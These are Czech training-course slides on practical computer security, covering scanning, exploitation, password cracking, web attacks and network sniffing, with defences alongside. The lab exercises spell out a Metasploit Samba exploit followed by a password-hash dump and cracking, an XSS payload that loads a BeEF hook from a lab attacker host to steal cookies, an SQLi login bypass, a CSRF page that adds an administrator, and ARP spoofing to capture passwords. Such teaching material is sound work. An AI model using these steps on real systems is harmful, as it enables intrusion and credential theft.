Počítačová bezpečnost prakticky Pavel Bašta •
[email protected] • 09. - 10. 09. 2015
1
Organizační záležitosti ●
Wi-fi: ●
●
●
SSID: CZ.NIC Guest
Hesla k PC ●
User: root
●
Pass: toor
Stažení materiálů ●
https://secure.nic.cz/files/pbasta/bezpecnost_prakticky.pdf
2
Osnova ●
Příprava útoku ●
Skenování, získávání informací
●
Buffer Overflow
●
Lámání hesel
●
Zranitelnosti webových aplikací ●
XSS
●
SQLi
●
CSRF
●
Session hijacking 3
Osnova ●
Odposlech dat na Ethernetu
●
SSL/TLS
●
Útoky na Wi-Fi – –
Odposlech dat Lámání hesel WEP, WPA-PSK
●
Sociální inženýrství
●
Lokální útoky
●
DoS/DDoS
4
Kali Linux ● ●
●
Dříve BackTrack Specializovaná linuxová live distribuce pro penetrační testování Velké množství nástrojů pro testování bezpečnosti
●
www.kali.org
●
Klávesnice?
5
Používání shellu ●
Automatické doplňování příkazů – klávesa Tab
●
Posun na začátek řádku klávesa Home
●
Posun na konec řádku klávesa End
●
Přesun mezi adresáři „cd /cesta/“
●
Výpis adresáře „ls -la“
●
Zobrazení aktuálního adresáře „pwd“
●
Pohyb v historii příkazů šipka nahoru či dolů
●
Hledání v historii příkazů „Ctrl R“ (opakované Ctrl R hledá další výskyty) 6
Příprava útoku
7
Příprava útoku ●
Zjišťování informací o oběti z veřejných zdrojů ●
RIPE NCC – –
●
Doménové registry –
●
Jeden z pěti (APNIC, LACNIC, ARIN, AFRINIC) registrů IP adres, tento je určen pro evropský region Informace o IP adresách, správcích, e-mailech, telefonech Informace o doménách a jejich držitelích
Registry firem –
Informace o vlastnících 8
Příprava útoku ●
DNS –
●
Metadata – – –
●
Data popisující data Dokumenty, fotky, zvuk, video Mohou obsahovat citlivé údaje (z hlediska bezpečnosti)
Pracovní portály –
●
Informace o MX serverech a další
Informace o používaných platformách
archive.org – –
Historie stránek Například informace z HR o nabízených pozicích
9
Příprava útoku ●
Vyhledávače (Google, etc.) – –
Hledání dalších informací, průzkum stránek Google hacking ●
●
●
Hledání souborů obsahujících hesla, citlivých adresářů, chybových hlášek obsahujících citlivé informace, přihlašovací stránky, zranitelné servery, atd.
index.of inurl:"/admin/"
Seznam operátorů https://www.sans.org/security-resources/GoogleCheatSheet.pdf
●
alexa.com
10
Příprava útoku ● ●
Aktivní skenování Cílem je získání základních informací o cíli a jeho síti ● ●
●
Hledání živých hostů (ping sweep) Určení používaných OS, software, otevřených portů, běžících verzí různých serverů (web, mail, FTP, atd.) Hledání zranitelností
11
Aktivní skenování ●
Druhy skenování ●
Skenování portů (nalezení otevřených portů, zjištění síťových služeb) –
TCP (Connect/Full Open Scan) ●
Kompletní handshake –
SYN, SYN/ACK, ACK+RST
Větší riziko logování komunikace a odhalení ● Je to standardní TCP komunikace – jde provést na systému i bez admin. práv ● Nmap přepínač sT ●
12
Aktivní skenování – – – – –
– – –
Stealth Scan (Half-open Scan) Neotevře celé TCP spojení SYN, SYN+ACK, RST Obvykle se neloguje Nmap přepínač -sS Xmas Scan(PSH,URG, FIN) FIN Scan Null Scan Nefungují proti WIN, ty totiž posílají RST vždy. Nejen když je port zavřený ● Můžou obelstít některé firewally ●
13
Aktivní skenování ●
Skenování zranitelností (automatizované hledání zranitelností na počítačích v síti) –
Sběr informací z bannerů Prozradí verze používaného software ● Telnet na otevřený port ● nmap -sV -p 80 ●
●
Skenování sítí (hledání aktivních hostů v síti) – –
nmap -sn 192.168.1.1-50 Pokud jej spustí privilegovaný user na lokální síti, využijí se ARP requesty 14
Nástroje pro skenování ●
Nmap – skenování portů
●
Nessus – skenování zranitelností
●
Hping – manipulace s TCP/IP pakety
●
Saint – skenování zranitelností
●
GFI Languard – skenování zranitelností
●
ID Serve – sběr informací z bannerů
15
Obrana proti skenování ●
Odstraňte citlivé informace z veřejných zdrojů
●
Blokujte nepoužívané porty na firewallu
●
Nastavte IDS pravidla k detekci a blokování pokusů o skenování
●
„Blokujte příchozí ICMP zprávy“
●
Změňte nastavení bannerů
●
Skryjte přípony souborů webových stránek
●
Podívejte se na sebe očima útočníka 16
Zranitelnosti
17
Zranitelnosti ●
Slabina umožnující napadnutí systému
●
Software i hardware ●
SQLi
●
Clickjacking
●
Eskalace privilegií
●
Chybná konfigurace
●
Buffer Overflow
18
Buffer Overflow (přetečení zásobníku) ●
●
Nastává pokud skutečná velikost proměnné je větší než prostor, který pro ni byl v paměti alokován Problém nastává, pokud není kontrola, že vstupy od uživatele nejsou větší než definovaná velikost proměnné
19
Buffer Overflow (přetečení zásobníku) ●
Proces je v paměti rozdělen na tři oblasti ●
●
●
Textová (kód programu a data určená pouze pro čtení) Datová oblast (globální a dynamicky alokované proměnné) Zásobník (ukládání lokálních proměnných a předávání parametrů funkcím)
20
Zásobník
21
Buffer Overflow (přetečení zásobníku) ●
●
Funkce volá jinou funkci a ukládá do zásobníku lokální proměnné, návratovou adresu do volajícího podprogramu Co když deklarovaná velikost proměnné bude menší než skutečná velikost vstupních dat? ●
● ●
Přepíší se data v zásobníku umístěná za prostorem vyhrazeným pro uložení proměnné V této části je však také návratová adresa volající funkce Útočník vygeneruje kód, který obsahuje jak „payload“ (kód, který chce útočník spustit), tak na původní návratové adrese odkaz na tento nový program.
22
Buffer Overflow (přetečení zásobníku) ●
Shellcode ●
●
Malý kousek kódu používaný jako payload při exploitování zranitelnosti software NOP –
●
No Operation instrukce
Nop nop nop nop ...nop shellcode návratová adresa ●
●
Útočník nezná přesnou adresu vrcholu zásobníku, ta se totiž mění dle předchozího průběhu programu Proto začátek vyplní např. sledem nop instrukcí po nichž procesor vykoná samotný payload 23
Red October Word dokument
24
Buffer Overflow (přetečení zásobníku) ●
Týká se jak serverů, tak klientského software
●
Zranitelnosti nultého dne ●
Zranitelnosti, pro které ještě neexistuje náprava, například v podobě záplaty
●
Jsou nejvíce ceněny
●
Použity například pro šíření červa Stuxnet
25
Ochrana ●
Vyhýbat se spouštění programů s admin. právy (omezení důsledků útoku)
●
Pravidelná aktualizace veškerého software
●
Používejte antivir
●
NX bit ● ●
●
OS s podporou NX bitu označí určité části paměti jako nespustitelné
DEP (Data Execution Prevention) ●
●
Na úrovni procesoru
MS implementace podpory NX
Address space layout randomization (ASLR) 26
Buffer Overflow (přetečení zásobníku) ●
Metasploit Framework ●
Základní pojmy – – – –
Msfcli – práce z příkazové řádky Msfconsole – konzole v příkazové řádce Armitage – plně interaktivní GUI Exploity – kódy (exploity) umožňující zneužití známých chyb (nejen buffer overflow) ●
Aktivní –
●
Zaútočí aktivně na konkrétního hosta
Pasivní –
Čekají až se host sám připojí (prohlížeče, FTP klienti)
27
Buffer Overflow (přetečení zásobníku) ●
Základní pojmy –
Payload – kód který se vykoná po úspěšné exploitaci, obvykle otevře nějaké připojení k napadenému počítači ●
–
–
Meterpreter – multifunkční payload s interaktivním příkazovým řádkem, injektuje své knihovny do paměti, běží tedy jen z RAM, což ztěžuje jeho detekci, umožňuje stahovat soubory, získávat soubory s hesly a další.
Databáze – užitečné při penetračním testování, udržuje seznam nalezených chyb, testovaných systémů,etc. Moduly – rozšiřují funkce Metasploit Frameworku 28
Lámání hesel
29
Lámání hesel ●
Autentizační mechanismy ●
Hesla – – – –
Ověření na základě toho, co uživatel zná Snadno použitelné Čím silnější heslo, tím hůře zapamatovatelné Lze odpozorovat či předat
30
Lámání hesel ●
Tokeny – – – – –
Ověření na základě toho, co uživatel má Různé ID karty, tokeny generující jednorázová hesla Nelze je zapomenout ani odpozorovat Možné předat, zcizit, ztratit Vyžaduje dodatečný hardware
31
Lámání hesel ●
Biometrika – Ověření na základě toho, čím uživatel je – Dynamika podpisu, otisk prstu, scan sítnice – Nelze ztratit, zcizit, odpozorovat – Nutný speciální hardware – Stále poměrně chybové
32
Lámání hesel ●
Ukládání hesel ●
Dříve i plain text (dnes nemyslitelné)
●
Šifrovaná hesla (například DES v Solaris)
●
Šifrovaná hesla lze zpětně rozšifrovat
●
Dnes především hashovací funkce – – – –
●
Speciální jednocestná funkce (MD5, SHA1, SHA2) Ze stejných dat vyjde vždy stejný hash Minimální změna dat – velká změna na výstupu Neumožňuje nalezení dvou souborů dat se stejným otiskem
Z různých dat vždy otisk stejné bitové délky 33
Lámání hesel ●
Online ●
Pomalé
●
Snadno zjistitelné
●
●
Obrana: zamykání účtu, zpomalení vyhodnocování hesel v systému Nástroje: Hydra, Brutus
34
Lámání hesel ●
Offline ●
Potřeba získat hashe (SQLi, útok na OS)
●
Nedojde k zamčení hesel
●
●
●
●
Při samotném louskání hesel nulová šance na odhalení Obrana: nedopustit získání hashů, solení, složitá hesla Windows: Elcomsoft, Cain&Abel, ophcrack, John The Ripper Unix: John The Ripper 35
Lámání hesel ●
Keyspace ●
Množství znaků – – – –
●
10 číslic: 0123456789 26 malých písmen: abcdefghijklmnopqrstuvwxyz 26 velkých písmen: ABCDEFGHIJKLMNOPQRSTUVWXYZ 33 speciálních symbolů: !”#$%&’()*+,-./:;<=>? @[\]^_`{|}~
Počet možných variací ●
V (počet variací)=Keyspace^délka hesla 36
Lámání hesel ●
Příklad hesla z velkých písmen, 7 znaků ● ●
●
V (Variace)=26^7=80311810176 Rychlost generování MD5 hashů na běžném PC 78 mil.hesel/Sec → cca.19 minut na prolomení
Velká písmena, 8 znaků ●
V=26^8=208827064576
●
497 minut
37
Lámání hesel ●
Útok hrubou silou ● ●
●
●
Generuje všechny možné kombinace Při dostatečně dlouhém hesle a velkém keyspace může trvat prolomení i stovky let Útok se často distribuuje a využívá karet NVIDIA (GPU)
Slovníkový útok ●
●
Účinný pokud uživatelé použijí jako základ hesla běžné slovo Dle sofistikovanosti software zkouší i různé kombinace velká/malá písmena, číslice
38
Lámání hesel ●
Online databáze, např. http://crackstation.net/
●
Rainbow tables ● ●
Předgenerované tabulky hashů Ukládání všech hashů do tabulek by bylo náročné na paměť
●
Kompromis mezi předpočítáním a uložitelností
●
Hashovací a redukční funkce
●
Obrana variabilní salt, bcrypt (založen na postupech z Blowfish, možnost nastavit cost)
39
Lámání hesel ● ●
● ●
Předgenerování RT pro 6místná hesla z čísel MD5("493823") → "222f00dc4b7f9131c89cff641d1a8c50" Redukcí vybereme jen prvních 6 čísel R("222f00dc4b7f9131c89cff641d1a8c50") → "222004".
●
Nyní děláme hash z 222004
●
Výsledek opět redukujeme 40
Lámání hesel ●
Výsledná tabulka obsahuje takovéto řádky ●
758975 → 4259cc34599c530b1e4a8f225d665802 158965 → c744b1716cbf8d4dd0ff4ce31a177151
●
Algoritmus vyhledávání ●
●
Prohledá tabulku finálních hashů, pokud nic nenajde, redukuje hash na jiný plaintext a udělá hash tohoto plaintextu Znovu prohledá tabulku, pokud najde stejný hash, tak vezme původní plaintext a provede s ním tolik hash a redukčních funkcí, aby se dostal k hledanému heslu
41
42
Cvičení: krádež hesel ●
Exploit CVE 2007-2447 http://www.samba.org/samba/security/CVE-2007-2447.html MS-RPC funkcionalita v smbd (Samba) 3.00 až 3.0.25rc3 umožňuje útočníkům vzdálené spuštění libovolného příkazu přes metaznaky shellu (<>*>>,atd) využitím SamrChangePassword funkce, při zapnuté volbě "username map script" v souboru smb.conf a umožňuje vzdáleně přihlášeným uživatelům spouštět příkazy přes metaznaky shellu zneužitím funkcí MS-RPC a remote printer
●
Kořenem problému je protlačení nefiltrovaného uživatelského vstupu pomocí volání MS-RPC do /bin/sh díky volbě "username map script" v smb.conf
43
Cvičení: krádež hesel ●
Informace o testovacím stroji: ● ●
●
●
Stažení http://www.offensive-security.com/metasploit-unle ashed/Requirements Přihlášení –
User: msfadmin
–
Pass: msfadmin
Cvičení: ●
nmap -p 1-65535 -T4 -A -v IP_oběti 2>&1 | tee /root/scan.txt
44
Cvičení: krádež hesel ●
●
grep -i samba scan.txt (nalezení informací o otevřeném portu samby) msfconsole ●
search samba
●
označit exploit/multi/samba/usermap_script
●
Pravé tlačítko myši, vybrat copy
45
Cvičení: krádež hesel ● ●
●
use exploit/multi/samba/usermap_script Nastavte položku RHOST (adresa oběti) IP adresu Instrukce: ●
show options
●
set RHOST IP_virtuálního_stroje
●
show options
46
Cvičení: krádež hesel ●
exploit
●
Stisknout Ctrl+Z najednou
●
● ●
Vyskočí dotaz: „Background session 1?“ [y/N] y Zmáčkneme Enter sessions -l ●
"l" jako Lenka
47
Cvičení: krádež hesel ●
use post/linux/gather/hashdump
●
show options
●
set SESSION 1
●
exploit
●
●
Tento příkaz zobrazí hash hesla pro každé uživatelské jméno Označíme cestu k Unshadowed Password file a dáme pravé tlačítko myši a kopírovat 48
Cvičení: krádež hesel ●
Spustíme nové terminálové okno
●
cd /usr/sbin
●
./john /root/.msf4/loot/název_souboru_s_hash.txt
49
Zranitelnosti webových aplikací
50
Zranitelnosti webových aplikací ●
„Věda“ sama pro sebe
●
Podceňované riziko
●
●
●
Problém získání účtů z aplikace
●
Problém neexistující DMZ
Velké množství možných zranitelností webových aplikací i samotných serverových aplikací Pravidelné testování na zranitelnosti je nezbytností
51
XSS
52
XSS ●
●
Kvůli neošetřeným vstupům je útočník schopen podstrčit do stránek svůj vlastní kód (javascriptový, HTML, VBScript)
Persistent (Stored) –
●
Non-persistent (Reflected) –
●
Natrvalo uloženo v dané aplikaci Předává se např. prostřednictvím URL
DOM-based XSS – –
Nevzniká na straně serveru, ale script je zakomponován do stránky až prohlížečem. http://www.some.site/page.html?default=French 53
Non-persistent XSS ●
Nastává tam, kde uživatel předává serveru nějaká data, která jsou pak zobrazena ●
Formulář pro vyhledávání
●
Uživatel zadá slovo „automobil“
●
●
Server vrátí stránku, kde je napsáno „Hledaný výraz automobil byl nalezen celkem na třech webových stránkách“ Co když uživatel zadá automobil<script>nebezpečný kód?
54
Non-persistent XSS ●
Útok je jiný v případě požadavku GET a POST
●
GET ● ●
●
Parametry od uživatele jsou předávány v URL http://www.mujshop.w/heledej.php?dotaz=automobil <script>nebezpecny kod
POST ● ●
Parametry se předávají v těle HTTP požadavku Útočník musí použít mezičlánek, kde má připravenu stránku, která odešle data za uživatele.
55
Persistent XSS ●
Útočník zadá javascript do neošetřeného vstupu na stránce, například diskuzní fórum ●
● ●
Ahoj, co si myslíte o tom novém automobilu? <script>nebezpecnykod
Skript je uložen trvale na straně serveru Při každém načtení stránky s příspěvkem útočníka se načte a vykoná také jeho skript
56
Zranitelnosti webových aplikací (XSS) ●
Možné zneužití: ●
Spuštění zákeřného kódu
●
Přesměrování na nebezpečný server
●
Zneužití uživatelských oprávnění
●
Manipulace s obsahem stránky
●
Únos sezení
57
XSS ●
Nástroje usnadňující nalezení a zneužití XSS zranitelností ●
Netsparker, Nessus, Skipfish, W3af
●
BeEF
58
Obrana proti XSS Nahrazení potenciálně nebezpečných znaků pomocí HTML entit (< < | > > | “ ") – – –
●
V PHP funkcí htmlspecialchars() Pozor na uživatelský vstup v hodnotě atributu některého z prvků V defaultním nastavení nenahrazuje znak apostrofu pro potlačení apostrofu s parametrem ENT_QUOTES
Na straně uživatele –
NoScript, nastavení prohlížeče
59
Cvičení: XSS ●
●
Spusťte příkazy: ●
/etc/init.d/apache2 start
●
/etc/init.d/mysql start
●
/etc/init.d/beef-xss start
V prohlížeči v panelech otevřete tyto URL ●
utocnik.w:3000/ui/panel – –
User: beef Pass: beef
60
Cvičení: XSS ●
mujshop.w/shop/ –
Proveďte registraci, v poli Firma zadejte: cokoliv<script type=text/javascript src=http://utocnik.w:3000/hook.js>
●
V jiné záložce otevřeme URL
●
http://mujshop.w/shop/administrace
●
●
User: admin
●
Pass: 123456
Po přihlášení se podíváme na seznam uživatelů 61
Cvičení: XSS ●
Přepneme se na záložku Beef Control Panel ●
●
Mezi on-line prohlížeči nyní vidíme náš prohlížeč (prohlížeč oběti útoku) Vyzkoušejte v záložce commands/social engineering položku pretty theft a v Browser/HookedDomain položku Get Cookie
62
SQLi
63
Zranitelnosti webových aplikací (SQLi) ●
SQL injection ●
Způsobeno neošetřenými vstupy od uživatele
●
Vykonání vlastního pozměněného SQL dotazu
●
Krádež dat (včetně hesel, či jejich otisků), změna obsahu stránek (defacement, ceny v e-shopu, atd.), smazání databáze, spuštění vlastního kódu na serveru ...
64
Zdrojový kód náchylný k útoku:
Normální dotaz: Útočník zadá username admin a heslo 'or 1=1 #
65
SQLi ●
Obrana ●
Na straně aplikace –
Ošetření vstupu od uživatele escapováním znaků (' => \', " => \", \ => \\)
– – ●
\' apostrof nebude databází interpretován jako znak uvozující konec řetězce V PHP funkce mysqli_real_escape_string()
Na straně databáze –
Vhodné nastavení práv uživatele ●
DROP TABLE, DATABASE?
66
Zdrojový kód náchylný k útoku:
Normální dotaz: Útočník zadá username admin a heslo 'or 1=1 #
67
Cvičení: SQLi ●
Otevřete URL mujshop.w/shop/administrace
●
Přihlaste se jako admin s heslem 123456
●
●
Odhlaste se a zkuste se přihlásit se špatným heslem Nyní se zkuste přihlásit jako ●
admin' # s libovolným heslem
●
Odhlaste se
●
admin s heslem ' or 1=1 # 68
CSRF
69
CSRF (Cross Site Request Forgery) ● ●
●
Velmi rozšířená zranitelnost Odeslání HTTP požadavku z jedné webové aplikace do jiné pod identitou oběti (formuláře) Oběť tak může nevědomky prostřednictvím podvržené stránky například: ● ●
●
přidat nový administrátorský účet webové aplikace ve webmail aplikaci může nastavit posílání kopií e‑mailů na adresu útočníka změnit dodací adresu ve svém e-shopu 70
CSRF ●
Opět dělení dle typu požadavku
●
Odesílání požadavků pomocí metody GET ●
Příprava URL dle očekávaných parametrů, např.
www.mujmail.cz/
[email protected] ●
Odesílání požadavků pomocí metody POST ●
Útočník připraví speciální webovou stránku pro oběť s lákavým obsahem, např. link podstrčí třeba s tím, že jsou tam nějaké nevhodné fotky oběti
71
CSRF ●
●
Do stránky je pomocí HTML tagu iframe vložena další stránka, která je vlastně předpřipraveným formulářem, kde jsou již vyplněna všechna požadovaná pole Když oběť vstoupí na připravenou stránku, javascript se na pozadí postará o odeslání formuláře
72
CSRF ●
Ochrana ●
Sledování HTTP hlavičky referer –
●
Sledování HTTP hlavičky Origin –
●
Může omezovat část uživatelů Omezení pro část uživatelů
Generování tokenů – – –
Nejlepší varianta Lze obejít pomocí clickjackingu Vhodné kombinovat s hlavičkou X-FRAMEOPTIONS 73
Cvičení: CSRF ●
V prohlížeči Firefox (Iceweasel) otevřeme nástroje/správce doplňků a necháme vyhledat „web developer“ a nainstalujeme jej
●
Restartujeme prohlížeč
●
V příkazové řádce zadáme
vi /var/www/mladeholky/form.html ●
V prohlížeči otevřeme adresu
http://mujshop.w/shop/administrace 74
Cvičení: CSRF ●
Přihlásíme se jako admin s heslem 123456
●
Vybereme položku přidat administrátora
●
●
●
V liště doplňku web developer vybereme položku Formuláře a v ní zobrazit detaily formuláře Porovnejte zobrazené prvky s obsahem souboru form.html připraveného útočníkem Nyní v administrátorském rozhraní e-shopu klikněte na položku administrátoři 75
Cvičení: CSRF ●
Všimněte si, že je v aplikaci jediný administrátor
●
Nyní otevřete URL http://utocnik.w/mladeholky
●
●
Vraťte se do záložky s e-shopem a znovu klikněte na položku Zobrazit administrátory Nyní jsou již v aplikaci dva administrátoři
●
Aplikaci vi ukončíme zadáním znaků :q a Enter.
●
Nyní otevřeme soubor index.html
vi /var/www/mladeholky/index.html 76
Cvičení: CSRF ●
●
●
Pro přepnutí do editačního módu stiskneme klávesu i Změňte u položky opacity hodnotu z nuly na jedna a položky height="1" width="1 nastavte na 1000. Z editačního módu vyskočíme pomocí klávesy Esc
●
Uložte pomocí sekvence znaků :wq a Enter.
●
Obnovte stránku http://utok.w/mladeholky/ 77
Únos sezení
78
Únos sezení ●
●
●
Obecně získání sezení již přihlášeného/komunikujícího uživatele HTTP je bezstavový protokol ●
Nerozpoznává klienty
●
Proto se používá session
Dva hlavní způsoby předávání session ●
V URL cílové stránky
●
V podobě cookie
79
Únos sezení ● ●
●
Předávání v URL je velice nebezpečné URL zůstává uložené na počítači, navíc se posílá v hlavičce HTTP referer Nejčastější způsoby útoku na Session ●
Session ID fixation – –
–
Útočník nastaví sessionID ještě před zahájením sezení Po přihlášení uživatele použije útočník dříve nastavené session ID k přístupu do aplikace bez znalosti jména a hesla. Je možné tam, kde aplikace akceptuje SessionID zaslané prohlížečem 80
Únos sezení ●
Hrubou silou – –
●
Krádež identifikátoru – – –
●
Útočník zkouší různá ID, dokud se netrefí Použitelné pouze při příliš krátkém identifikátoru Útočník odposlechne cookies na síti Získá cookies přes jinou slabinu v aplikaci (XSS) Získá cookies z veřejného počítače
Vypočítání identifikátoru sezení –
U nenáhodně generovaných identifikátorů
81
Únos sezení ●
Obrana ● ●
●
Dostatečně dlouhé a náhodné identifikátory Použití příznaků secure (přenos pouze přes HTTPS) a HTTPOnly (omezení dostupnosti Session Cookie pouze pro HTTP (omezí útoky typu XSS) Omezení platnosti Cookies (odhlášení, zavření prohlížeče, nové cookies po každé akci), sledování IP
82
Cvičení: Únos sezení ●
●
První z dvojice zjistí pomocí příkazu ifconfig svou IP adresu Druhý z dvojice pak do prohlížeče zadá IP_adresa_kolegy/shop
●
Provede registraci nového účtu
●
Přihlásí se jako právě zaregistrovaný uživatel
●
První z dvojice spustí příkazem wireshark aplikaci pro sledování síťového provozu 83
Cvičení: Únos sezení ●
●
● ●
●
Druhý z dvojice klepne například na Editovat profil První z dvojice zastaví zachytávání paketů ve wiresharku V horní liště zvolí edit → Find Packet V otevřeném okně vybere string a Packet details a do pole filtru napíše PHPSESSID Tak najde potřebnou cookie 84
Cvičení: Únos sezení ●
● ●
●
Následně otevře prohlížeč a půjde na URL vlastní_IP_adresa/shop V této chvíli by neměl být k e-shopu přihlášen V dalším kroku zvolí v horní liště prohlížeče (pokud není lišta viditelná, vyvolá se pomocí klávesy levý alt) položku Tools → Add-ons Nechá vyhledat slovo cookies a nainstaluje Cookies Manager+ a provede restart prohlížeče
85
Cvičení: Únos sezení ●
●
V dalším kroku otevře opět v liště Tools → Cookies Manager+ a u své IP adresy upraví položku PHPSESSID tak, aby odpovídala zachycené cookie z wiresharku Obnoví stránku eshopu v prohlížeči a měl by být nyní přihlášen pod identitou druhého z dvojice
86
Odposlouchávání dat na Ethernetu
87
Odposlouchávání dat na Ethernetu (sniffing) ●
●
K identifikaci v rámci Ethernetu se používá MAC adresa a IP zároveň MAC adresa ●
6 bytů dlouhá
●
Linková vrstva
●
Adresa hardwarového rozhraní
●
Důležitá v rámci LAN
●
Při adresaci mimo LAN ztrácí na významu, mění se po průběhu prvním routerem (výchozí brána)
88
Odposlouchávání dat na Ethernetu (sniffing) ●
IP ● ●
●
●
4 byty dlouhá Logická adresa přidělená zařízení pracujícímu na síťové vrstvě Směrování v rozsáhlých sítích
Data jsou vždy opatřena zdrojovou a cílovou IP a zdrojovou a cílovou MAC adresou
89
Odposlouchávání dat na Ethernetu (sniffing) ●
Odposlouchávání bylo dříve snadné ●
Nepřepínaný ethernet
●
HUB, BNC
●
Data dorazila na všechny počítače v LAN
●
●
●
Standardně síťová karta poslouchá jen data pro její MAC Stačilo přepnout kartu do promiskuitního módu a poslouchat vše Pasivní sniffing
90
Odposlouchávání dat na Ethernetu (sniffing) ●
Dnes přepínaný ethernet ●
Switch
●
Posílá data na port, kde je konkrétní MAC adresa
●
●
●
Informace o MAC vs. Port si ukládá do CAM (Content Addressable Memory) tabulky Útoky aktivně ovlivňují síťové prvky, nebo protokol ARP Aktivní sniffing
91
Odposlouchávání dat na Ethernetu (sniffing) ●
Programy pro odchytávání síťové komunikace ●
Ethereal
●
Wireshark
●
MS Network monitor
●
Tcpdump
92
Odposlouchávání dat na Ethernetu (sniffing) ●
●
Jak tedy odposlouchávat na přepínaném ethernetu Útokem na CAM tabulku ● ●
Co se stane, když se zaplní CAM tabulka? Switch se začne chovat jako HUB a co nemá v CAM tabulce začne posílat na všechny své porty
●
Útočník tedy potřebuje zaplnit tabulku CAM
●
Nástroje macof, Yersinia
93
Odposlouchávání dat na Ethernetu (sniffing) ●
Obrana proti zaplnění CAM na switchi –
Port-security ●
●
Na daném portu povolím jen určité množství MAC, pokud se objeví další zařízení, spustí se administrátorem definovaná akce
Otrava ARP Cache ●
Chci-li komunikovat po lokální síti, musím znát MAC cílového stroje (protokol ARP) –
Útok na protokol ARP ●
Slouží k překladu IP na MAC adresy
94
Odposlouchávání dat na Ethernetu (sniffing) ●
ARP request – –
Požadavek na nalezení počítače, který má konkrétní IP Posílá se na adresu broadcastu, takže ji obdrží všechna zařízení v dané LAN
Počítač, který má danou IP jediný, odpoví zpět ● Informace o propojení MAC a IP se dočasně uloží na PC ●
●
●
Pokud už má záznam pro danou IP, pak si ARP protokol nehlídá, zda o data žádal Mohu tedy jako útočník poslat paket oběti, ve kterém nastavím jako MAC výchozí brány svou MAC adresu a zároveň bráně pošlu informaci, že k IP oběti patří moje MAC adresa 95
96
Odposlouchávání dat na Ethernetu (sniffing) ●
●
Tím vstoupím do komunikace mezi bránou a obětí jako prostředník, po přečtení dat pak posílám pakety již na správné MAC adresy Obrana –
Individuální ●
DecaffeinatID0.09 http://www.irongeek.com/i.php?page=security/decaffeinatid -simple-ids-arpwatch-for-windows –
Upozorní na změnu GW
arp -s IPMAC – statické přidání, dělá se někdy na konferencích (obzvlášť na těch o hackingu:-)) ● XARP (Win i Linux) ●
97
Odposlouchávání dat na Ethernetu (sniffing) –
LINUX ●
ARP Watch Lze nasadit i v síti, umí poslat zprávu adminovi
–
Cisco switche ●
DHCP Snooping –
●
Vytváří tabulku s IP, MAC adresou, port switche, vlan ...
Dynamic ARP inspection –
Používá tabulku vytvořenou DHCP Snooping funkcí ke kontrole, zda z daného portu mohla přijít konkrétní kombinace IP a MAC
98
Představení Wiresharku ● ● ●
● ● ● ●
Výběr interface Okna Filtrování ● Capture ● Display Follow TCP stream Find Packet Preferences Apply as filter
99
Cvičení: Ethernet ●
Spustíme Wireshark
●
Příprava: ●
echo “1“ > /proc/sys/net/ipv4/ip_forward
●
cat /proc/sys/net/ipv4/ip_forward
●
Zjištění IP a výchozí brány
●
ifconfig
●
route -n
100
Cvičení: Ethernet ●
●
arpspoof -t IP_ADRESA_GW IP_ADRESA_Oběti arpspoof -t IP_ADRESA_Oběti IP_ADRESA_GW
●
wireshark
●
Filtr: http.request.method == POST
●
Oběť otevře ve svém prohlížeči stránku www.lopuch.cz a zkusí se přihlásit libovolným jménem a heslem 101
Cvičení: Ethernet ●
●
Ve Wiresharku bychom nyní měli vidět zachycené heslo Ukončíme trávení ARP Cache stiskem kláves Ctrl~C v obou oknech
102
IPv6 ●
IPv6 – délka 128 bitů, zapisuje se jako osm skupin po čtyřech hexadecimálních číslech (2001:0718:1c01:0016:0214:22ff:fec9:0ca5)
●
Zkrácený zápis ●
●
Nuly zleva lze vynechat fe80:0000:0000:0000:0202:b3ff:fe1e:8329 se zkráceně zapíše jako fe80:0:0:0:202:b3ff:fe1e:8329 následné skupiny nul lze nahradit dvojitou dvojtečkou "::", neboli fe80:0:0:0:202:b3ff:fe1e:8329 je také fe80::202:b3ff:fe1e:8329 103
IPv6 ●
Problémy: ●
●
IPv6 Již funguje i pokud jej v síti nemáte → tunneling → možné obcházení pravidel FW (Facebook) Hlavička má kvůli rychlejšímu routování jen 40 bytů → extension headers (EH) → možno libovolně řetězit, nesou další informace, např druh transportního protokolu → každá hlavička odkazuje na další hlavičku → propuštění paketu firewallem, buffer overflow, pád zařízení ...
104
IPv6 ●
Neighbor Discovery Protocol (NDP) – –
Nahrazuje některé protokoly z IPv4, mimo jiné ARP a DHCP Postup připojování hosta do sítě: Host si pomocí vybrané procedury vytvoří ID rozhraní ● Host si vytvoří linkovou lokální IP tak, že k prefixu FE80::/10 přidá vytvořené ID rozhraní ● Host pošle dotaz Router Solicitation ● Pokud je v síti router, odpoví zprávou Router Advertisement (RA), ta obsahuje: ●
– – –
Oznamovaný prefix Router Lifetime – čas po který bude daný router figurovat jako výchozí brána Další parametry, jako je MTU 105
IPv6 ●
●
–
Problém falešného RA ● ●
●
–
Host si vytvoří ze zaslaného prefixu a ID rozhraní unikátní globální IPv6 adresu Pokud je LifeTime routeru větší než nula, pak si jeho IPv6 zařadí do seznamu výchozích bran Útočník zachytí a zmanipuluje RA z routeru Změní LifeTime na nulu, tak si oběť odstraní současnou GW ze seznamu Vytvoří vlastní RA, data tak budou téci z oběti přes jeho PC
RA flooding ●
●
útočník zaplaví LAN router advertisement, každý paket obsahuje 17 prefixu a rout, zatíží to procesor Zranitelné jsou: Windows a win servery, Juniper, Free/Net/opn-bsd - dle verze, OS X, Android, iOS
106
IPv6 ● ●
●
Myslete na to, že IPv6 už v síti máte (tunneling) OS který umí IPv6 si automaticky nastaví link local adresy, pak je možný přístup na port např. SSH po místní síti (zapomíná se na FW pro IPv6) Při nasazování můžete použít tyto nástroje pro otestování odolnosti sítě: – –
THC IPv6 attack toolkit (thc.org/thc-ipv6/) SI6 Networks IPv6 Toolkit ( www.si6networks.com/tools/ipv6toolkit) ● fake_router26 – Rogue RA ● kill_router6 – odstranění záznamu pro default gateway ● flood_router6 – RA flooding 107
SSL/TLS
108
SSL/TLS ●
Šifry symetrické x asymetrické
●
Symetrické ●
Pro šifrování a dešifrování používají stejný klíč
●
Nutnost sdílení klíče s druhou stranou
●
Méně výpočetně náročné
●
●
Vhodné pro šifrování vlastních souborů, disku, tam kde si můžou komunikující strany bezpečně vyměnit klíče AES 109
SSL/TLS ●
Asymetrické ●
●
Pro šifrování a dešifrování se používají dva různé klíče Každá strana používá jiný klíč, eliminuje potřebu výměny klíčů
●
Nejčastější forma veřejného a privátního klíče
●
Výpočetně náročnější
●
●
Vhodné tam, kde nemají komunikující strany možnost bezpečné výměny klíče RSA 110
SSL/TLS ●
Šifrování ●
●
●
